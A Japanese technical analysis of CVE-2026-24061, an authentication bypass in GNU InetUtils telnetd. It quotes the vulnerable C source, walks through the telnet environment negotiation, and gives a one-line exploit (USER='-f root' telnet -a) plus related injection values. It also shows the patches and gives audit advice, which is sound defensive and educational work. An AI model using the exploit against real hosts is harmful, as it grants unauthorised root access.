
# CVE-2026-24061 の詳細な技術分析とスキャナー GNU InetUtils の telnetd における重大な認証バイパス脆弱性 CVE-2026-24061 に関する詳細な技術分析とスキャナーです。エクスプロイトチェーン、PoC、パッチの詳細を含みます。
CVE-2026-24061 は、GNU InetUtils telnetd における重大な(CVSS 9.8)リモート認証バイパス脆弱性であり、認証されていない攻撃者が即座に root アクセスを取得できるようにします。この脆弱性は、USER 環境変数の不適切なサニタイズに起因し、この変数がコマンドライン引数として /usr/bin/login に直接渡されます。攻撃者が USER=-f root を設定することで、login の -f フラグがトリガーされ、認証が完全にバイパスされます。
影響を受けるバージョン: GNU InetUtils 1.9.3 から 2.7 脆弱性タイプ: CWE-88(引数インジェクション) 発見日: 2026年1月20日 発見者: Kyu Neushwaistein(別名 Carlos Cortes Alvarez)
telnetd/telnetd.cこの脆弱性は、telnetd が /usr/bin/login を呼び出す方法を定義するコマンドテンプレート文字列から始まります:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
重要な観察: Solaris 以外のシステムでは、テンプレートは以下を使用します:
%?u{-f %u}{%U} - これは条件式で、次の意味を持ちます:
user_name が設定されている場合(%u)、-f %u(認証済み自動ログイン)を使用%U(フォールバックとしての USER 環境変数)を使用重大な問題:%U は、未サニタイズの生の USER 環境変数に展開されます。
telnetd/utility.c、_var_short_name())テンプレート文字列は expand_line() によって処理され、プレースホルダーを展開するために _var_short_name() を呼び出します。ここに脆弱なコードがあります:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENTIALLY VULNERABLE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENTIALLY VULNERABLE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNERABLE!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
重大なバグ(case 'U'): USER 環境変数は getenv() を介して取得され、サニタイズなしで渡されます。攻撃者が USER=-f root を設定すると、これがログインコマンドラインの一部になります。
telnetd/pty.c、start_login())展開されたログイン呼び出し文字列は start_login() で実行されます:
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
攻撃者が接続(ポート23の telnetd へ)
Telnet オプション交渉が発生:
IAC DO NEW_ENVIRON を送信IAC WILL NEW_ENVIRON で応答IAC SB NEW_ENVIRON SEND を送信(環境の要求)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEサーバーが USER 変数を処理:
getenv("USER") が -f root を返す%U が -f root に展開される/usr/bin/login -p -h <hostname> -f rootlogin が -f root を解釈:
-f フラグは「認証をスキップ、ユーザーは事前認証済み」を意味root はログインするユーザー名# On attacker machine:
USER='-f root' telnet -a <target_ip>
-a フラグは自動ログインモードを有効にし、USER 環境変数をサーバーに送信します。
セキュリティアドバイザリは明示的に次のように述べています:「したがって、他の変数についても同様の脆弱性が存在する可能性があります。」 _var_short_name() の各変数を分析しましょう:
| 変数 | 名前 | ソース | ユーザー制御可能? | サニタイズ済み? | 攻撃対象領域 |
|---|---|---|---|---|---|
%U | USER 環境変数 | getenv("USER") | はい(NEW_ENVIRON 経由) | いいえ | 重大 - CVE-2026-24061 |
%h | remote_hostname | DNS/PTR ルックアップ | 部分的(PTR レコード) | いいえ | 高 |
%T | terminaltype | TERMINAL-TYPE オプション | はい | いいえ | 中 |
%u | user_name | プロトコル交渉 | はい | いいえ | 中(認証が必要) |
%l | local_hostname | システム設定 | いいえ | N/A | 低 |
%L | line(TTY) | システム割り当て | いいえ | N/A | 低 |
%t | tty 短縮名 | システム割り当て | いいえ | N/A | 低 |
%d | 日付/時刻 | システムクロック | いいえ | N/A | なし |
%a | 認証ステータス | 内部状態 | いいえ | N/A | なし |
%h - リモートホスト名(高リスク)ソース: telnetd.c の telnetd_setup() で getnameinfo() または gethostbyaddr() から設定されます。
問題: 攻撃者が自身の PTR(逆引き DNS)レコードを制御できる場合、次のような値を注入できる可能性があります:
foo -f root
ホスト名として、これが -h 引数の一部になります:
/usr/bin/login -p -h "foo -f root" ...
悪用の難易度:
現実世界のシナリオ: IP の PTR レコードを制御できる攻撃者(VPS プロバイダーでは一般的)は、逆引き DNS を悪意のある値に設定できます。
%T - 端末タイプ(中リスク)ソース: Telnet TERMINAL-TYPE サブネゴシエーションを介して受信され、terminaltype 変数に格納されます。
問題: 端末タイプ文字列は攻撃者が制御可能で、サニタイズされていません:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
テンプレートでの使用:
%?T{-t %T} - -t フラグとともに使用%?T{%T} - 直接挿入潜在的な攻撃:
TERMINAL-TYPE: xterm -f root
ただし、悪用は以下に依存します:
%T を使用しているか(現在は Solaris のみ)-t 引数をどのように処理するか%u - 認証済みユーザー名(中リスク)ソース: 認証交渉中に設定されます。
問題: -f %u パターンで使用されます:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
攻撃者が user_name を操作してシェルメタ文字や追加引数を含めることができれば、権限昇格を達成できる可能性があります。ただし、この変数は通常、何らかの認証検証後にのみ設定されます。
%l、%L、%t: これらはシステム制御の値(ローカルホスト名、TTY デバイス名)から派生しており、攻撃者がリモートで影響を与えることはできません。
%d: システムクロックから生成 - インジェクションベクトルなし。
%a: 内部認証状態変数 - リテラルの "ok" または NULL を返します。
この脆弱性に基づいて、コードベースで検索すべきパターンは次のとおりです:
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")
確認すべきファイル:
telnetd/utility.c - 他の展開関数telnetd/telnetd.c - 環境処理rlogind/、rshd/ - 類似サービス// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...); // PTR lookups
gethostbyaddr(...);
// Then using result in command construction
ftpd デーモン: 認証およびコマンド処理でユーザー入力がどのように処理されるかを確認
rshd/rlogind デーモン: これらは類似の認証パターンを使用しており、ホスト名や環境の処理に同等の問題がある可能性があります
inetd 設定解析: サービス設定時に信頼できない入力を処理する可能性があります
Kerberos 統合ポイント: プリンシパル名や認証トークンの処理時
fd702c02)最初のパッチは基本的なサニタイズを追加します:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
これにより、- で始まる値がブロックされ、フラグインジェクションが防止されます。
ccba9f74)2番目のパッチは、すべてのユーザー制御入力に対して再利用可能な sanitize() 関数を導入します:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
すべての潜在的に危険な変数に適用されます:
%U(USER)%h(remote_hostname)%T(terminaltype)CVE-2026-24061 は教科書的な引数インジェクション脆弱性であり、以下の理由により11年間検出されませんでした:
類似の脆弱性が存在する可能性があります %h(ホスト名)および %T(端末タイプ)変数にありますが、悪用はより複雑です。
より広範な影響: ネットワーク由来のデータからシェルコマンドやプログラム引数を構築するコードはすべて、同様のインジェクション脆弱性について監査されるべきです。
推奨される緩和策:
-f フラグを無視するカスタムログインプログラムを使用